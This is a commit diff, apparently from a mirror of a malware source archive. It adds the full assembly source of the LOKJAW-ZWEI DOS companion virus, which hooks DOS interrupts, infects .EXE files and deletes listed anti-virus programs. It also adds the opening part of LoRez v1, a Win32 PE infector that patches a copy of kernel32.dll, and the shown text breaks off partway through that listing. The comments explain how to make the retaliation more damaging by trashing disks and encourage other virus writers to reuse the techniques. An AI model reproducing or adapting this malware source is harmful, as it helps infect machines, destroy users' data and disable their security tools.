mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 15:59:24 +00:00
Add files via upload
This commit is contained in:
@@ -0,0 +1,566 @@
|
|||||||
|
;LOKJAW-ZWEI: an .EXE-infecting spawning virus with retaliatory
|
||||||
|
;anti-anti-virus capability. For Crypt Newsletter 12, Feb. 1993.
|
||||||
|
;
|
||||||
|
;LOKJAW-ZWEI is a resident spawning virus which installs itself in
|
||||||
|
;memory using the same engine as the original Civil War/Proto-T virus.
|
||||||
|
;It is simpler in that none of its addresses have to be
|
||||||
|
;relative, an indirect benefit of the fact that the virus has no
|
||||||
|
;"appending" quality. That means, LOKJAW doesn't alter its "host" files,
|
||||||
|
;much like a number of other companion/spawning viruses published in
|
||||||
|
;previous newsletters.
|
||||||
|
;
|
||||||
|
;LOKJAW hooks interrupt 21 and infects .EXE files on execution, creating
|
||||||
|
;itself as companion .COMfile to the "host." Due to the inherent rules
|
||||||
|
;of DOS, this ensures the virus will be executed before the "host" the
|
||||||
|
;next time the infected program is used. In reality, LOKJAW is even
|
||||||
|
;simpler than that. If not in memory, the first time the host is
|
||||||
|
;called, LOKJAW will go resident and not even bother to load it.
|
||||||
|
;In most cases, the user will assume a slight error and call the host
|
||||||
|
;again, at which point it will function normally. LOKJAW will then infect
|
||||||
|
;every subsequent .EXE file called. LOKJAW is very transparent in operation,
|
||||||
|
;except when certain anti-virus programs (Integrity Master, McAfee's SCAN &
|
||||||
|
;CLEAN, F-PROT & VIRSTOP and Central Point Anti-virus) are loaded.
|
||||||
|
;LOKJAW spawning variants are so simple they don't even need much in the
|
||||||
|
;way of installation checks. The virus simply becomes resident the first
|
||||||
|
;time it is called. Once in memory, when other infect file are executed
|
||||||
|
;LOKJAW merely looks over the loaded file, if it recognizes itself it
|
||||||
|
;discards the load and proceeds to execute the "infected" file as would
|
||||||
|
;be the case on an uninfected system.
|
||||||
|
;
|
||||||
|
;LOKJAW's "stinger" code demonstrates the simplicity of creating a strongly
|
||||||
|
;retaliating virus by quickly deleting the anti-virus program before it
|
||||||
|
;can execute and then displaying a "chomping" graphic. Even if the anti-
|
||||||
|
;virus program cannot detect LOKJAW in memory, it will be deleted. This
|
||||||
|
;makes it essential that the user know how to either remove the virus from
|
||||||
|
;memory before beginning anti-virus measures, or at the least run the
|
||||||
|
;anti-virus component from a write-protected disk. (If the LOKJAW viruses
|
||||||
|
;are present in memory and an anti-virus program is run from a write-
|
||||||
|
;protected disketter, it will, of course, generate "write protect"
|
||||||
|
;errors.) At a time when retail anti-virus packages are becoming more
|
||||||
|
;complicated - and more likely that the
|
||||||
|
;average user will run them from default installations on his hard file -
|
||||||
|
;LOKJAW's retaliating power makes it a potentially very annoying pest.
|
||||||
|
;A virus-programmer serious about inconveniencing a system could do a
|
||||||
|
;number of things with this basic idea. They are;
|
||||||
|
; 1. Remove the "chomp" effect. It is entertaining, but it exposes the virus
|
||||||
|
; instantly.
|
||||||
|
; 2. Alter the_stinger routine, so that the virus immediately attacks the
|
||||||
|
; hard file. The implementation is demonstrated by LOKJAW-DREI, which
|
||||||
|
; merely makes the disk inaccessible until a warm reboot if an anti-virus
|
||||||
|
; program is employed against it. By placing
|
||||||
|
; a BONA FIDE disk-trashing routine here, it becomes very hazardous for
|
||||||
|
; an unknowing user to employ anti-virus measures on a machine where
|
||||||
|
; LOKJAW or a LOKJAW-like program is memory resident. LOKJAW-DREI,
|
||||||
|
; which does not try to delete anti-virus files, displays the "chomp"
|
||||||
|
; and mimics trashing the disk even when the anti-virus program is
|
||||||
|
; used from a write-protected diskette. Of course, the user will
|
||||||
|
; see no "write protect" error as with the other viruses. The disk merely
|
||||||
|
; becomes inacessible.
|
||||||
|
;
|
||||||
|
;These anti-anti-virus strategies are becoming more common in viral
|
||||||
|
;programming.
|
||||||
|
;
|
||||||
|
;Mark Ludwig programmed the features of a direct-action retaliating
|
||||||
|
;virus in his "Computer Virus Developments Quarterly." Peach, Groove and
|
||||||
|
;Encroacher viruses attack anti-virus software by deletion of files central
|
||||||
|
;to the functionality of the software.
|
||||||
|
;
|
||||||
|
;And in this issue, the Sandra virus employs a number
|
||||||
|
;of anti-anti-virus features.
|
||||||
|
;
|
||||||
|
;The LOKJAW source listings are TASM compatible. To remove LOKJAW-ZWEI and
|
||||||
|
;DREI infected files from a system, simply delete the "companion" .COM
|
||||||
|
;duplicates of your executables. Ensure that the machine has been booted
|
||||||
|
;from a clean disk. To remove the LOKJAW .COM-appending virus, at this
|
||||||
|
;time it will be necessary for you to restore the contaminated files from
|
||||||
|
;a clean back-up.
|
||||||
|
;
|
||||||
|
;Alert readers will notice the LOKJAW-ZWEI and DREI create their "companion"
|
||||||
|
;files in plain sight. Generally, spawning viruses make themselves
|
||||||
|
;hidden-read-only-system files. This is an easy hack and the code is supplied
|
||||||
|
;in earlier issues of the newsletter. The modification is left to
|
||||||
|
;the reader as an academic exercise.
|
||||||
|
|
||||||
|
.radix 16
|
||||||
|
cseg segment
|
||||||
|
model small
|
||||||
|
assume cs:cseg, ds:cseg, es:cseg
|
||||||
|
|
||||||
|
org 100h
|
||||||
|
|
||||||
|
oi21 equ endit
|
||||||
|
filelength equ endit - begin
|
||||||
|
nameptr equ endit+4
|
||||||
|
DTA equ endit+8
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
begin: jmp virus_install
|
||||||
|
|
||||||
|
note:
|
||||||
|
db '[l™‡kõ„W-zW��].á�.šrã$ņd‰M–$'
|
||||||
|
db 'ÅH‹$.pâ™Gâ†m.Œ$.….{pâ™Å”-Å].ûƒâ‹†¤Å,$“âÅ.”Ÿ.'
|
||||||
|
db '€â˜ž.¥‰w$Àä×îâ' ; I.D. note: will probably be
|
||||||
|
; documented in VSUM
|
||||||
|
|
||||||
|
|
||||||
|
; install
|
||||||
|
virus_install: mov ax,cs ; reduce memory size
|
||||||
|
dec ax
|
||||||
|
mov ds,ax
|
||||||
|
cmp byte ptr ds:[0000],5a ; check if last memory
|
||||||
|
jne cancel ; block
|
||||||
|
mov ax,ds:[0003]
|
||||||
|
sub ax,100 ; decrease memory
|
||||||
|
mov ds:0003,ax
|
||||||
|
Zopy_virus:
|
||||||
|
mov bx,ax ; copy to claimed block
|
||||||
|
mov ax,es ; PSP
|
||||||
|
add ax,bx ; virus start in memory
|
||||||
|
mov es,ax
|
||||||
|
mov cx,offset endit - begin ; cx = length of virus
|
||||||
|
mov ax,ds ; restore ds
|
||||||
|
inc ax
|
||||||
|
mov ds,ax
|
||||||
|
lea si,ds:[begin] ; point to start of virus
|
||||||
|
lea di,es:0100 ; point to destination
|
||||||
|
rep movsb ; copy virus in memory
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
Grab_21:
|
||||||
|
|
||||||
|
mov ds,cx ; hook interrupt 21h
|
||||||
|
mov si,0084h ;
|
||||||
|
mov di,offset oi21
|
||||||
|
mov dx,offset check_exec
|
||||||
|
lodsw
|
||||||
|
cmp ax,dx ;
|
||||||
|
je cancel ; exit, if already installed
|
||||||
|
stosw
|
||||||
|
movsw
|
||||||
|
|
||||||
|
push es
|
||||||
|
pop ds
|
||||||
|
mov ax,2521h ; revector int 21h to virus
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
cancel: ret
|
||||||
|
|
||||||
|
check_exec: ; look over loaded files
|
||||||
|
pushf ; for executables
|
||||||
|
|
||||||
|
push es ; push everything onto the
|
||||||
|
push ds ; stack
|
||||||
|
push ax
|
||||||
|
push bx
|
||||||
|
push dx
|
||||||
|
|
||||||
|
cmp ax,04B00h ; is a file being
|
||||||
|
; executed ?
|
||||||
|
|
||||||
|
|
||||||
|
jne abort ; no, exit
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
;if yes, try the_stinger
|
||||||
|
do_infect: call infect ; then try to infect
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
abort: ; restore everything
|
||||||
|
pop dx
|
||||||
|
pop bx
|
||||||
|
pop ax
|
||||||
|
pop ds
|
||||||
|
pop es
|
||||||
|
popf
|
||||||
|
|
||||||
|
bye_bye:
|
||||||
|
; exit
|
||||||
|
jmp dword ptr cs:[oi21]
|
||||||
|
|
||||||
|
|
||||||
|
new_24h:
|
||||||
|
mov al,3 ; critical error handler
|
||||||
|
iret
|
||||||
|
|
||||||
|
infect:
|
||||||
|
mov cs:[name_seg],ds ; this routine
|
||||||
|
mov cs:[name_off],dx ; essentially grabs
|
||||||
|
; the name of the file
|
||||||
|
cld ; <--
|
||||||
|
mov di,dx ; being loaded
|
||||||
|
push ds ; and copies it into a
|
||||||
|
pop es ; buffer where the virus
|
||||||
|
mov al,'.' ; can compare it to its
|
||||||
|
repne scasb ; "anti-virus" list, from
|
||||||
|
; the_stinger routine
|
||||||
|
call the_stinger ; now, call Lokjaw's anti-virus
|
||||||
|
; stinger
|
||||||
|
|
||||||
|
; no anti-virus, resume infection
|
||||||
|
|
||||||
|
cld ; clear direction flags
|
||||||
|
mov word ptr cs:[nameptr],dx ; save pointer to the filename
|
||||||
|
mov word ptr cs:[nameptr+2],ds
|
||||||
|
|
||||||
|
mov ah,2Fh ; get old DTA
|
||||||
|
int 21h
|
||||||
|
push es
|
||||||
|
push bx
|
||||||
|
|
||||||
|
push cs ; set new DTA
|
||||||
|
|
||||||
|
pop ds
|
||||||
|
mov dx,offset DTA
|
||||||
|
mov ah,1Ah
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
call searchpoint ; find filename for virus
|
||||||
|
push di
|
||||||
|
mov si,offset COM_txt ; is extension 'COM' ?
|
||||||
|
|
||||||
|
mov cx,3
|
||||||
|
rep cmpsb
|
||||||
|
pop di
|
||||||
|
jz do_com ; if so, go to out .COM routine
|
||||||
|
mov si,offset EXE_txt ; is extension .EXE ?
|
||||||
|
nop
|
||||||
|
mov cl,3
|
||||||
|
rep cmpsb
|
||||||
|
jnz return
|
||||||
|
|
||||||
|
do_exe: mov si,offset COM_txt ; load .COM extent mask
|
||||||
|
nop
|
||||||
|
call change_ext ; change extension on filename.EXE
|
||||||
|
mov ax,3300h ; to .COM
|
||||||
|
nop
|
||||||
|
int 21h
|
||||||
|
push dx
|
||||||
|
|
||||||
|
cwd
|
||||||
|
inc ax ; clear flags
|
||||||
|
push ax
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
Grab24h:
|
||||||
|
|
||||||
|
mov ax,3524h ; get critical error handler vector
|
||||||
|
int 21h
|
||||||
|
push bx
|
||||||
|
push es
|
||||||
|
push cs ; set interrupt 24h to new handler
|
||||||
|
pop ds
|
||||||
|
mov dx,offset new_24h
|
||||||
|
mov ah,25h
|
||||||
|
push ax
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
|
||||||
|
lds dx,dword ptr [nameptr] ; create the virus (with name)
|
||||||
|
xor cx,cx ; of EXE target
|
||||||
|
mov ah,05Bh ;
|
||||||
|
int 21
|
||||||
|
jc return1
|
||||||
|
xchg bx,ax ; save handle
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
mov cx,filelength ; cx = virus length
|
||||||
|
mov dx,offset begin
|
||||||
|
mov ah,40h ; write the virus to the created
|
||||||
|
int 21h ; file
|
||||||
|
|
||||||
|
mov ah,3Eh ; close the file
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
return1: pop ax ; restore interrupt 24h
|
||||||
|
pop ds
|
||||||
|
pop dx
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
pop ax
|
||||||
|
pop dx ; restore Crtl-break flags
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
mov si,offset EXE_txt ; load .EXE mask
|
||||||
|
call change_ext ; and change the extension on
|
||||||
|
; the filename back to original
|
||||||
|
return: mov ah,1Ah ; host
|
||||||
|
pop dx ; restore old DTA
|
||||||
|
pop ds
|
||||||
|
int 21H
|
||||||
|
|
||||||
|
ret ;
|
||||||
|
|
||||||
|
do_com: call findfirst ; is the .COMfile executed the virus?
|
||||||
|
cmp word ptr cs:[DTA+1Ah],endit - begin
|
||||||
|
jne return ; no, so exit
|
||||||
|
mov si,offset EXE_txt ; does the .EXE variant exist ?
|
||||||
|
call change_ext
|
||||||
|
call findfirst
|
||||||
|
jnc return ;
|
||||||
|
mov si,offset COM_txt ; load .COM extension
|
||||||
|
call change_ext ; change the filename and
|
||||||
|
jmp short return ; jump to exit
|
||||||
|
|
||||||
|
searchpoint: les di,dword ptr cs:[nameptr]
|
||||||
|
mov ch,0FFh
|
||||||
|
mov al,0
|
||||||
|
repnz scasb
|
||||||
|
sub di,4
|
||||||
|
ret
|
||||||
|
change_ext: call searchpoint
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
movsw
|
||||||
|
movsw
|
||||||
|
ret
|
||||||
|
|
||||||
|
findfirst: lds dx,dword ptr [nameptr]
|
||||||
|
mov cl,27h
|
||||||
|
mov ah,4Eh
|
||||||
|
int 21h
|
||||||
|
ret
|
||||||
|
|
||||||
|
the_stinger: ; the_stinger compares the loaded filename with these defaults
|
||||||
|
cmp word ptr es:[di-3],'MI' ;Integrity Master
|
||||||
|
je jumptoass ; Stiller Research
|
||||||
|
|
||||||
|
cmp word ptr es:[di-3],'XR' ; Virx = VIREX
|
||||||
|
je jumptoass ; if there's a match
|
||||||
|
; go to assassinate file
|
||||||
|
cmp word ptr es:[di-3],'PO' ;*STOP = VIRSTOP
|
||||||
|
jne next1 ; F-Prot
|
||||||
|
cmp word ptr es:[di-5],'TS'
|
||||||
|
je jumptoass
|
||||||
|
|
||||||
|
next1: cmp word ptr es:[di-3],'VA' ; AV = CPAV
|
||||||
|
je jumptoass ; Central Point
|
||||||
|
|
||||||
|
cmp word ptr es:[di-3],'TO' ;*prot = F-prot
|
||||||
|
jne next2
|
||||||
|
cmp word ptr es:[di-5],'RP'
|
||||||
|
je jumptoass
|
||||||
|
|
||||||
|
next2: cmp word ptr es:[di-3],'NA' ;*scan = McAfee's Scan.
|
||||||
|
jne next3
|
||||||
|
cmp word ptr es:[di-5],'CS'
|
||||||
|
je jumptoass
|
||||||
|
|
||||||
|
cmp word ptr es:[di-3],'NA' ; *lean = CLEAN.
|
||||||
|
jne next3 ; why not, eh?
|
||||||
|
cmp word ptr es:[di-5],'EL'
|
||||||
|
je jumptoass
|
||||||
|
next3: ret
|
||||||
|
jumptoass: ; assassinate anti-virus program
|
||||||
|
|
||||||
|
mov ds,cs:[name_seg] ; points to
|
||||||
|
mov dx,cs:[name_off] ; filename to delete
|
||||||
|
|
||||||
|
mov ax, 4301h ; clear attributes
|
||||||
|
mov cx, 00h
|
||||||
|
int 21h
|
||||||
|
jc chomp ; exit on error to visual
|
||||||
|
mov ah, 41h ; delete anti-virus file
|
||||||
|
int 21h ; exit on error to visual
|
||||||
|
jc chomp
|
||||||
|
chomp:
|
||||||
|
push cs ; chomper visual
|
||||||
|
pop ds
|
||||||
|
mov ah, 03h
|
||||||
|
int 10h
|
||||||
|
mov [c1], bh ; save cursor
|
||||||
|
mov [c2], dh
|
||||||
|
mov [c3], dl
|
||||||
|
mov [c4], ch
|
||||||
|
mov [c5], cl
|
||||||
|
mov ah, 1
|
||||||
|
mov cl, 0
|
||||||
|
mov ch, 40h
|
||||||
|
int 10h
|
||||||
|
|
||||||
|
mov cl, 0
|
||||||
|
mov dl, 4Fh
|
||||||
|
mov ah, 6
|
||||||
|
mov al, 0
|
||||||
|
mov bh, 0Fh
|
||||||
|
mov ch, 0
|
||||||
|
mov cl, 0
|
||||||
|
mov dh, 0
|
||||||
|
mov dl, 4Fh
|
||||||
|
int 10h
|
||||||
|
|
||||||
|
mov ah, 2
|
||||||
|
mov dh, 0
|
||||||
|
mov dl, 1Fh
|
||||||
|
mov bh, 0
|
||||||
|
int 10h
|
||||||
|
|
||||||
|
mov dx,offset eyes ; print the eyes
|
||||||
|
mov ah, 9
|
||||||
|
mov bl, 0Fh
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
mov ah, 2
|
||||||
|
mov dh, 1
|
||||||
|
mov dl, 0
|
||||||
|
int 10h
|
||||||
|
|
||||||
|
mov ah, 9
|
||||||
|
mov al, 0DCh
|
||||||
|
mov bl, 0Fh
|
||||||
|
mov cx, 50h
|
||||||
|
int 10h
|
||||||
|
|
||||||
|
mov ah, 2
|
||||||
|
mov dh, 18h
|
||||||
|
mov dl, 0
|
||||||
|
int 10h
|
||||||
|
|
||||||
|
mov ah, 9
|
||||||
|
mov al, 0DFh
|
||||||
|
mov bl, 0Fh
|
||||||
|
mov cx, 50h
|
||||||
|
int 10h
|
||||||
|
|
||||||
|
mov dl, 0
|
||||||
|
chomp_1:
|
||||||
|
mov ah, 2
|
||||||
|
mov dh, 2
|
||||||
|
int 10h
|
||||||
|
|
||||||
|
mov ah, 9
|
||||||
|
mov al, 55h
|
||||||
|
mov bl, 0Fh
|
||||||
|
mov cx, 1
|
||||||
|
int 10h
|
||||||
|
|
||||||
|
mov ah, 2
|
||||||
|
mov dh, 17h
|
||||||
|
inc dl
|
||||||
|
int 10h
|
||||||
|
|
||||||
|
mov ah, 9
|
||||||
|
mov al, 0EFh
|
||||||
|
mov bl, 0Fh
|
||||||
|
int 10h
|
||||||
|
|
||||||
|
inc dl
|
||||||
|
cmp dl, 50h
|
||||||
|
jl chomp_1
|
||||||
|
mov [data_1], 0
|
||||||
|
chomp_3:
|
||||||
|
mov cx, 7FFFh ; delays
|
||||||
|
|
||||||
|
locloop_4:
|
||||||
|
loop locloop_4
|
||||||
|
|
||||||
|
inc [data_1]
|
||||||
|
cmp [data_1], 0Ah
|
||||||
|
jl chomp_3
|
||||||
|
mov [data_1], 0
|
||||||
|
mov cl, 0
|
||||||
|
mov dl, 4Fh
|
||||||
|
chomp_5:
|
||||||
|
mov ah, 6
|
||||||
|
mov al, 1
|
||||||
|
mov bh, [data_2]
|
||||||
|
mov ch, 0Dh
|
||||||
|
mov dh, 18h
|
||||||
|
int 10h
|
||||||
|
|
||||||
|
mov ah, 7
|
||||||
|
mov al, 1
|
||||||
|
mov bh, [data_2]
|
||||||
|
mov ch, 0
|
||||||
|
mov dh, 0Ch
|
||||||
|
int 10h
|
||||||
|
mov cx, 3FFFh ; delays
|
||||||
|
|
||||||
|
locloop_6:
|
||||||
|
loop locloop_6
|
||||||
|
inc [data_1]
|
||||||
|
cmp [data_1], 0Bh
|
||||||
|
jl chomp_5
|
||||||
|
mov [data_1], 0
|
||||||
|
chomp_7:
|
||||||
|
mov cx, 7FFFh ; delays
|
||||||
|
|
||||||
|
locloop_8:
|
||||||
|
loop locloop_8
|
||||||
|
inc [data_1]
|
||||||
|
cmp [data_1], 0Ah
|
||||||
|
jl chomp_7
|
||||||
|
mov ah, 6
|
||||||
|
mov al, 0
|
||||||
|
mov bh, [data_2]
|
||||||
|
mov ch, 0
|
||||||
|
mov cl, 0
|
||||||
|
mov dh, 18h
|
||||||
|
mov dl, 4Fh
|
||||||
|
int 10h
|
||||||
|
|
||||||
|
mov cl, 7
|
||||||
|
mov ch, 6
|
||||||
|
int 10h
|
||||||
|
|
||||||
|
mov ah, 2
|
||||||
|
mov bh, [c1]
|
||||||
|
mov dh, [c2]
|
||||||
|
mov dl, [c3]
|
||||||
|
int 10h
|
||||||
|
mov al, bh
|
||||||
|
mov ah, 5
|
||||||
|
int 10h
|
||||||
|
mov ah, 1
|
||||||
|
mov ch, [c4]
|
||||||
|
mov cl, [c5]
|
||||||
|
int 10h
|
||||||
|
mov ax, 0003h
|
||||||
|
int 10h ; sort of a cls
|
||||||
|
mov ax, 00ffh
|
||||||
|
ret
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
EXE_txt db 'EXE',0 ; extension masks
|
||||||
|
COM_txt db 'COM',0
|
||||||
|
|
||||||
|
eyes db '(o) (o)','$' ; ASCII eyes of Lockjaw
|
||||||
|
|
||||||
|
data_1 db 0
|
||||||
|
data_2 db 0
|
||||||
|
|
||||||
|
name_seg dw ?
|
||||||
|
name_off dw ?
|
||||||
|
|
||||||
|
c1 db 0
|
||||||
|
c2 db 0
|
||||||
|
c3 db 0
|
||||||
|
c4 db 0
|
||||||
|
c5 db 0
|
||||||
|
|
||||||
|
note2: db 'Lokjaw-Zwei'
|
||||||
|
|
||||||
|
endit:
|
||||||
|
|
||||||
|
|
||||||
|
cseg ends
|
||||||
|
end begin
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
@@ -0,0 +1,808 @@
|
|||||||
|
|
||||||
|
;** NOTE: original release assumed that this virus worked on WinNT, but I
|
||||||
|
;** never tested it. I later found out that it does not go memory resident
|
||||||
|
;** under WinNT, although it causes no system faults, etc.
|
||||||
|
|
||||||
|
;
|
||||||
|
; LoRez v1 - By Virogen [NoP]
|
||||||
|
;
|
||||||
|
; This is my final research on Win32 resident kernel infection. LoRez is
|
||||||
|
; a memory-resident Win32 PE EXE Infector. It successfully operates on
|
||||||
|
; any kernel version of any Win32 platform (Win95,WinNT,Win98). The virus
|
||||||
|
; goes memory resident by infecting kernel32.dll. It changes the export
|
||||||
|
; RVA of GetFileAttributesA to that of the virus code. The next time the
|
||||||
|
; system boots, the virus goes memory resident and infects any PE EXE
|
||||||
|
; win32 calls GetFileAttributesA on. This includes any EXE executed as well
|
||||||
|
; as many those accessed in many other file manipulations. In order to
|
||||||
|
; get around the shared lock on kernel32.dll, LoRez copies the kernel
|
||||||
|
; to the windows directory and infects it there. This new copy of the
|
||||||
|
; kernel will be found before the original one in the system directory
|
||||||
|
; when the system is booted.
|
||||||
|
;
|
||||||
|
; In order to remove the use of static APIs addresses, LoRez searches
|
||||||
|
; the kernel32 export table in memory for the APIs which it requires. It
|
||||||
|
; does this by first determining the operating system. It finds this by
|
||||||
|
; checking a value on the stack and comparing it to the Win95/98 or WinNT
|
||||||
|
; kernel bases, which are static regardless of kernel version. If the
|
||||||
|
; operating system cannot be determined, then LoRez passes control back
|
||||||
|
; to the host without ever accessing any memory which might cause a fault.
|
||||||
|
; Once the kernel base is determined, LoRez finds the export table and
|
||||||
|
; then extracts the addresses of the APIs it needs.
|
||||||
|
;
|
||||||
|
; Virus Name: LoRez v1
|
||||||
|
; Virus Author: Virogen [NoP]
|
||||||
|
; Release Date: 03-05-98
|
||||||
|
; Operating Systems: Win95/WinNT/Win98
|
||||||
|
; Hosts : PE EXE files
|
||||||
|
; Encryption: Removed, till I get a new poly engine coded
|
||||||
|
; File Date/Time: Unchanged
|
||||||
|
; File Attributes: Unchanged ; the virus resets and then restores them
|
||||||
|
; File Size: Can grow by approx 1.6k at most. Sometimes there will be NO
|
||||||
|
; file size increase due to the alignment of the EXE.
|
||||||
|
;
|
||||||
|
;
|
||||||
|
; Past/Present/Future:
|
||||||
|
; - My first Win95 virus was Yurn released last week. This was my first
|
||||||
|
; attempt at windows resident infection and my first dive into the
|
||||||
|
; windows operating system. Yurn infected the kernel by changing the
|
||||||
|
; entry code of GetFileAttributesA to a call to the virus code. Yurn
|
||||||
|
; was limited because it depended on static APIs and kernel versions
|
||||||
|
; hardcoded into it. I regret releasing it in regards to the
|
||||||
|
; superority of its spawn LoRez which was released only a week
|
||||||
|
; later. However, the Yurn release helped me to acquire many new
|
||||||
|
; insights from my virus colleagues. Release date: 02-25-98.
|
||||||
|
;
|
||||||
|
; - LoRez is my attempt at full Win32 infection without the use of
|
||||||
|
; static APIs. LoRez is far superior to Yurn in many respects.
|
||||||
|
; It has been a great success and I think will open up a new era of
|
||||||
|
; Win32 infection. The techniques LoRez uses opens the Win32 platform
|
||||||
|
; to many new possibilities. All that is left now is to add more
|
||||||
|
; advanced features such as polymorphism and stealth. I sincerely hope
|
||||||
|
; that virus authors will find this code useful in creating their own
|
||||||
|
; kernel infectors. Release date: 03-05-98
|
||||||
|
;
|
||||||
|
; - The future: I will release a 32-bit polymorphic engine next,
|
||||||
|
; along with a new and better virus using the techniques I've
|
||||||
|
; researched here. This is ofcourse, provided I can finish it
|
||||||
|
; before Mar 16 (I'll be gone from the computer world for 3
|
||||||
|
; months). If not, then I look forward to seeing the new virus
|
||||||
|
; code my colleagues have written in my absence.
|
||||||
|
;
|
||||||
|
; How to contact me : try effnet #virus
|
||||||
|
;
|
||||||
|
; Greetz -
|
||||||
|
; -l, Memory Lapse, Soul Manager, Murkry, Treaz0n, Cicatrix, Darkman,
|
||||||
|
; VirusBuster, and others.
|
||||||
|
;
|
||||||
|
;
|
||||||
|
; HOW TO COMPILE LOREZ:
|
||||||
|
; I use TASM32 v5. Included is a makefile for LOREZ. After you compile
|
||||||
|
; the virus, just take out your handy hex editor and change the flags
|
||||||
|
; of the code object to 0E0000040h. Note that this is stored in intel
|
||||||
|
; reverse dd at offset 21Ch in LOREZ.EXE.
|
||||||
|
;
|
||||||
|
;
|
||||||
|
;
|
||||||
|
;
|
||||||
|
;
|
||||||
|
.386
|
||||||
|
locals
|
||||||
|
jumps
|
||||||
|
.model flat,STDCALL
|
||||||
|
|
||||||
|
L equ
|
||||||
|
|
||||||
|
extrn ExitProcess : PROC ; this is so the import table
|
||||||
|
; won't be empty. Is not used
|
||||||
|
; in the virus. You'll need
|
||||||
|
; IMPORT32.LIB for this one.
|
||||||
|
|
||||||
|
org 1000h
|
||||||
|
.data ; our lonely data object
|
||||||
|
progname db 'LoRez Virus host (c)Virogen',0
|
||||||
|
.code ; .code - change flags after compile
|
||||||
|
; to r/w/x
|
||||||
|
;-----------------------------------------------------------------------------
|
||||||
|
;
|
||||||
|
start: ; the would-be host
|
||||||
|
push 0
|
||||||
|
call [ExitProcessAPI] ; exit process
|
||||||
|
|
||||||
|
;-----------------------------------------------------------------------------
|
||||||
|
;
|
||||||
|
; LoRez virus starts here
|
||||||
|
;
|
||||||
|
MAX_HDR equ 0250h ; we shouldn't need more than this
|
||||||
|
ID_OFF equ 0ch ; offset in header for our marker
|
||||||
|
VIRUS_SIZE equ (offset vend-offset vstart) ; total size of our virus here
|
||||||
|
VIRTUAL_SIZE equ (offset buffer_end-offset vstart) ; our virtual size
|
||||||
|
MEM_ID equ 12345678h ; our communcation needs
|
||||||
|
;
|
||||||
|
;
|
||||||
|
vstart:
|
||||||
|
call geteip ; find relative offset
|
||||||
|
geteip:
|
||||||
|
mov ebp,[esp] ; grab it off stack
|
||||||
|
mov eax,ebp ; used below
|
||||||
|
sub ebp,offset geteip ; fix it up
|
||||||
|
add esp,4 ; fix da stack
|
||||||
|
|
||||||
|
db 2dh ; sub eax
|
||||||
|
host_addr dd (offset geteip-offset start)
|
||||||
|
push eax ; subtract entry point differ
|
||||||
|
; to get orginal entry VA
|
||||||
|
|
||||||
|
mov edx,[esp+4] ; determine OS
|
||||||
|
and edx,0fff00000h
|
||||||
|
mov eax,0BFF70000h ; WIn95 kernel base 0BFF70000
|
||||||
|
cmp edx,0bff00000h ; Win95?
|
||||||
|
jz good_os
|
||||||
|
mov eax,edx ; our NT kernel at 77F00000
|
||||||
|
cmp edx,077f00000h ; WinNT?
|
||||||
|
jnz goto_host ; abort if neither
|
||||||
|
|
||||||
|
good_os:
|
||||||
|
;
|
||||||
|
; a brief explanation of the organization of the export table would be
|
||||||
|
; useful here. Ok, basically there are three tables within the export
|
||||||
|
; table : API RVA Table (32bit), Name Pointer Table(32bit), and Ordinal
|
||||||
|
; Table (16bit). Ok, the ordinal number of an API is the entry number of
|
||||||
|
; the API in the RVA array. So, multiply the ordinal number by four and
|
||||||
|
; you've got an index into the API RVA Table. Probably you don't already
|
||||||
|
; have the ordinal number though, so you'll have to find it. To do this,
|
||||||
|
; you use the Name Pointer Table. This is an array of pointers to the
|
||||||
|
; asciiz name of each API. When you find the pointer of the API you're
|
||||||
|
; looking for by string compares, you take the index number of it and
|
||||||
|
; multiply it by 2 (because the ordinal table is 16bit). Index the result
|
||||||
|
; in the ordinal table, and you're all set.
|
||||||
|
;
|
||||||
|
;
|
||||||
|
mov [ebp+imagebase],eax ; save kernel base
|
||||||
|
mov esi,eax
|
||||||
|
add esi,[esi+3ch] ; relative ptr to PE header
|
||||||
|
cmp word ptr [esi],'EP' ; make sure we're on right track
|
||||||
|
jnz goto_host ; if not.. abort
|
||||||
|
mov esi,[esi+120] ; get export table RVA
|
||||||
|
add esi,eax ; relative to image base
|
||||||
|
mov edi,[esi+36] ; get ordinal table RVA
|
||||||
|
add edi,eax ; relative to image base
|
||||||
|
mov [ebp+ordinaltbl],edi ; save it
|
||||||
|
mov edi,[esi+32] ; get name ptr RVA
|
||||||
|
add edi,eax ; is relative to image base
|
||||||
|
mov [ebp+nameptrtbl],edi ; save it
|
||||||
|
mov ecx,[esi+24] ; get number of name ptrs
|
||||||
|
mov esi,[esi+28] ; get address table RVA
|
||||||
|
add esi,eax ; is relative to image base
|
||||||
|
mov [ebp+adrtbl],esi ; save it
|
||||||
|
|
||||||
|
xor edx,edx ; edx is our ordinal counter
|
||||||
|
; edi=name ptr table
|
||||||
|
; ecx=number of name ptrs
|
||||||
|
lea esi,[ebp+APIs] ; -> API Name ptrs
|
||||||
|
mov [ebp+ourAPIptr],esi ; save it
|
||||||
|
lea eax,[ebp+API_Struct] ; our API address will go here
|
||||||
|
mov [ebp+curAPIptr],eax ; save it
|
||||||
|
chk_next_API_name:
|
||||||
|
mov esi,[ebp+ourAPIptr] ; get ptr to structure item
|
||||||
|
mov ebx,[esi] ; load ptr to our API name
|
||||||
|
add ebx,ebp ; add relative address
|
||||||
|
mov esi,[edi] ; get API name RVA
|
||||||
|
add esi,[ebp+imagebase] ; relative to image base
|
||||||
|
compare_API_name:
|
||||||
|
lodsb
|
||||||
|
cmp al,byte ptr [ebx] ; compare a byte of names
|
||||||
|
jnz not_our_API ; it's not our API
|
